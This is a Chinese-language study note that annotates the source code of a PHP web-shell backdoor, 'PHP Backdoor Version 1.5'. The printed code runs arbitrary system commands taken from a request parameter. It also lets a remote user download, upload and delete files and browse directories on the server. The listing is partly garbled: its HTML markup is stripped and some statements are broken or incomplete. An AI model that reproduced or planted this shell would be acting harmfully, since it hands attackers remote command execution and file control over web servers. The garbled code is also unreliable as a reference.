解释PHP后门文件

PHP Backdoor Version 1.5是由sirius_black / LOTFREE TEAM编写的一个php后门程序,这里对其进行一下简单解析,也当做自己学习php的笔记,该后门程序成执行的命令,取决于安装web服务器和php时用户的权限,如果是管理员的话,那就可以执行各种操作系统命令。

以下是一个后门程序的注释

1. 
   
3. function good_link($link)
   
4. {
   
5. $link=ereg_replace(“/+”,”/”,$link);
   
6. $link=ereg_replace(“/[^/(..)]+/\.\.”,”/”,$link);
   
7. $link=ereg_replace(“/+”,”/”,$link);
   
8. if(!strncmp($link,”./”,2) && strlen($link)>2)$link=substr($link,2);
   
9. if($link==”")$link=”.”;
   
10. return $link;
    
11. }
    
12. //$_REQUEST用来取得提交到本文件的数据
    
13. $dir=isset($_REQUEST['dir'])?$_REQUEST['dir']:”.”; //如果没有定义dir,dir取默认值”.”
    
14. $dir=good_link($dir);
    
15. $rep=opendir($dir); //打开dir指定的路径句柄
    
16. chdir($dir); //切换到dir指定的目录
    
17. if(isset($_REQUEST["down"]) &&$_REQUEST["down"]!=”") //如果定义了down
    
18. {
    
19. header(“Content-Type: application/octet-stream”);
    
20. header(“Content-Length: “.filesize($_REQUEST["down"]));
    
21. header(“Content-Disposition: attachment; filename=”.basename($_REQUEST["down"]));
    
22. readfile($_REQUEST["down"]); //将文件读取到缓冲区
    
23. exit();
    
24. }
    
25. ?>
    
26. 
    
27. 
    
28. 
    
29. 
    
    
31. echo “当前绝对路径为: ”.getcwd().”
    \n”; //获取当前的绝对路径
    
32. echo “dir = ‘$dir’
    \n”;
    
33. echo “当前目录,文件列表!
    
    \n”;
    
34. //如果已经输入要执行的命令
    
35. if(isset($_REQUEST['cmd']) &&$_REQUEST['cmd']!=”")
    
36. {
    
37. echo “

    \n”;
    

38. system($_REQUEST['cmd']); //在服务器上执行输入的命令,执行结果回显
    
39. echo “\n”;
    
40. }
    
41. //如果已经上传了文件
    
42. if(isset($_FILES["fic"]["name"]) && isset($_POST["MAX_FILE_SIZE"])) //获取post上来的文件,保存到当前目录
    
43. {
    
44. if($_FILES["fic"]["size"]
45. {
    
46. if(move_uploaded_file($_FILES["fic"]["tmp_name"],good_link(“./”.$_FILES["fic"]["name"]))) //将临时文件保存到当前目录
    
47. {
    
48. echo “文件保存成功 “.good_link(“./”.$_FILES["fic"]["name"]).”!
    \n”;
    
49. }
    
50. else echo “文件上传失败: “.$_FILES["fic"]["error"].”
    \n”;
    
51. }
    
52. else echo “File too large(文件超出大小限制)!
    \n”;
    
53. }
    
54. if(isset($_REQUEST['rm']) &&$_REQUEST['rm']!=”") //如果定义了rm,即删除指定的文件
    
55. {
    
56. if(unlink($_REQUEST['rm'])) //unlink是php的删除文件函数
    
57. echo “成功删除 “.$_REQUEST['rm'].”!
    \n”;
    
58. else echo “删除文件失败
    \n”;
    
59. }
    
60. ?>
    

61. ---

    
    
62. 
    
64. $t_dir=array();
    
65. $t_file=array();
    
66. $i_dir=0;
    
67. $i_file=0;
    
68. //循环输读取前的目录文件,放在t_dir和t_file中
    
69. while($x=readdir($rep))
    
70. {
    
71. if(is_dir($x)) //如果当前处理的是目录
    
72. $t_dir[$i_dir++]=$x;
    
73. else //如果当前处理的是文件
    
74. $t_file[$i_file++]=$x;
    
75. }
    
76. closedir($rep); //关闭由opendir打开的目录句柄
    
77. while(1) //循环输入当前路径的目录和文件
    
78. {
    
79. ?>
    
80. 
    




85. //$_SERVER['PHP_SELF']取得当前php脚本文件名
    
86. if($y=each($t_file))
    
87. {
    
88. if($y["key"]%2==0) //如果当前处理的是key
    
89. echo ” bgcolor=’lightgreen’>\n”;
    
90. else //如果当前处理的是value,即文件。就将该文件展示出来,且提供下载链接。
    
91. echo “>\n”;
    
92. echo “ ”.$y["value"].”\n”;
    
93. }
    
94. else echo“>\n”;
    
95. ?>
    
96. 
    
99. if($y)
    
100. {
     
101. //如果是文件,就提供以下删除该文件的链接
     
102. if($y["key"]%2==0)echo ” bgcolor=’lightgreen’”;
     
103. echo “>Del”;
     
104. }
     
105. else echo “>\n”;
     
106. ?>
     
107. 
     


110. if(!$x && !$y)
     
111. break;
     
112. }
     
113. ?>
     

if($x=each($t_dir)) { $name=$x["value"]; //获取t_dir数组里的目录名称 if($name==’.'){} elseif($name==’..’) echo “ UP(父目录) \n”; //展示一个UP链接,读取父目录的文件列表 else echo “ ”.$name.”\n”; } ?>




115. ---

     
     
116. 
     
     
117. ?dir=”>revenirau repertoire d’origine
     
     
     
118. 
     
119. ”>
     

     Execute commande(执行操作系统命令)
     
     
     
     
120. 上传文件到服务器当前目录:
     
     
121. ”>
     

     
     
     
     
     
122. 
     

复制代码